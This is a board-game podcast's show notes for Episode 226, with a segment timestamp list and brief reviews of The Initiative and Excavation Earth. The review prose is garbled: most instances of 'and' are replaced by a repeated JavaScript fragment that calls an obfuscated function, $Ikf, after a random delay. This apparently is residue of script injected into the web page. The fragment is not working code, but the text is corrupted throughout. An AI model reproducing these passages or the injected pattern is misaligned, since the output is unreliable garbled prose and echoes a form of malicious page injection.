RDTN Episode 226: The Initiative, Excavation Earth, Holi, War Chest: Siege The Key: Murder at the Oakdale Club, Heroclix Wonder Woman, Southern Rails, Holi

TimeSegment
00:00 Game Toppers
03:00Intro
08:14 Special Announcement
11:40Food Discussion – Imaging that
21:25Board Games Finally
22:00Wonder Woman Heroclix
24:40War Chest: Siege Expansion
27:30Switch Time
37:08Holi: Festival of Colors
43:32Southern Rails
50:24Portal Games
55:53The Initiative
1:12:21The Key: Murder at the Oakdale Club
1:27:34Miniature Market
1:28:45Excavation Earth
1:45:02Outro

The Episode after the Award Show is always a tough one. We have to do work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not leave it to others. But we are pros andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we put in the effort.

Many great games in this episode but the two we spend the most time on is The Initiative andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Excavation Earth.

The Initiative is a coop legacy game that has simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and relies on the players to work closely together to solve the clue before the “time” runs out. There isn’t a clock to worry about, but the draw deck is the timer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adds a push your luck element to the game. Puzzles are not Escape Room hard, but challenging enough to give the players a sense of accomplishment when solved.

Excavation Earth takes simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and forces the players to really think ahead on their turn for the entire round. On your turn, if you get out of sequence or someone messes up your plan, you need a good Plan B as well. This may not be the game for people who like a bit more freedom during their turn or you don’t like to pivot once a plan is put in motion